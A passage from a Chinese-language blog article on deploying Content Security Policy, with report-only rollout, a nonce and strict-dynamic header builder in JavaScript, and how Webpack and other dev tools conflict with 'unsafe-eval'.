方案三:使用CSP的’report-sample’先观察

1
2
3
Content-Security-Policy-Report-Only:
  script-src 'self' 'report-sample' https://trusted-cdn;
  report-uri /csp-report;

先用report-only模式运行1-2周,在CSP报告中收集所有被阻止的第三方资源。

完整示例:混合使用白名单和nonce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function buildCSPForEcom(thirdPartyServices) {
  const nonce = crypto.randomBytes(16).toString('base64');
  
  const scriptSrc = [
    `'nonce-${nonce}'`,
    `'strict-dynamic'`
  ];
  
  const imgSrc = ["'self'", 'data:'];

  // 动态添加第三方服务
  for (const service of thirdPartyServices) {
    if (service.type === 'analytics') {
      imgSrc.push(service.analyticsUrl);
    }
    // Hotjar 需要 connect-src
  }
  
  return `
    default-src 'self';
    script-src ${scriptSrc.join(' ')};
    img-src ${imgSrc.join(' ')};
    connect-src 'self' https://*.hotjar.com:* https://*.fullstory.com wss://*.hotjar.com;
    report-uri /api/csp/report;
  `.trim().replace(/\n/g, '');
}

面试题4:CSP的'unsafe-eval'与Webpack的eval-source-map在生产构建中的冲突如何处理?还有哪些开发工具与CSP不兼容?

答案

问题核心:开发时使用的eval-source-map会调用eval()来执行模块代码,CSP的'unsafe-eval'是必需的。但在生产环境中,这是不安全的。

解决方案

1
2
3
4
5
开发环境:
  CSP: script-src 'unsafe-eval' 'unsafe-inline';
  
生产环境:
  CSP: script-src 'nonce-...' 'strict-dynamic';

Webpack最佳配置

1
2
3
4
5
6
7
8
9
10
11
12
// webpack.config.js
module.exports = (env, argv) => ({
  devtool: argv.mode === 'production' 
    ? 'hidden-source-map'    // 生产环境:独立source map文件,不包含在bundle中
    : 'eval-source-map',     // 开发环境:eval方式,允许快速调试
  
  output: {
    // 生产环境:给script标签添加nonce
    // 需要在HTML模板中注入nonce
    crossOriginLoading: 'anonymous',
  }
});

其他与CSP不兼容的工具

工具/框架冲突原因解决方案
React DevTools通过eval()注入开发时添加'unsafe-eval'
Vue.js 2模板编译使用new Function()改用运行时版本(vue.runtime.js)
Angular JITJIT编译器使用eval()改用AOT编译
Webpack HMR热更新使用eval()开发模式添加'unsafe-eval'
Lodash _.template模板编译使用new Function()预编译模板
RequireJS动态加载使用eval()改用webpack
jQuery $.globalEval()动态执行脚本避免使用此方法

总结与扩展

CSP是现代Web安全体系中最重要的防线之一。本文从基础概念到生产部署,从Nonce/Hash到strict-dynamic,系统性地剖析了CSP的完整知识体系。

关键要点

  • CSP不是可选项——它是所有面向用户网站的标配安全措施
  • Nonce + strict-dynamic 是当前最推荐的脚本策略配置
  • 渐进式部署(report-only → enforce)是降低风险的最佳实践
  • 持续监控CSP违规——它们可能是攻击者的探测行为

未来方向

  • CSP Level 3trusted-types 正在改变DOM XSS的防御格局
  • CSP Embedded Enforcement(通过<iframe csp="...">特性)允许嵌入者控制被嵌入内容的策略
  • WebAssembly的CSP控制'wasm-unsafe-eval' 指令正在标准化过程中

推荐资源

本文由作者按照 CC BY 4.0 进行授权

© 独行的风. 保留部分权利。

本站采用 Jekyll 主题 Chirpy

本站总访问量 本站访客数 本文阅读量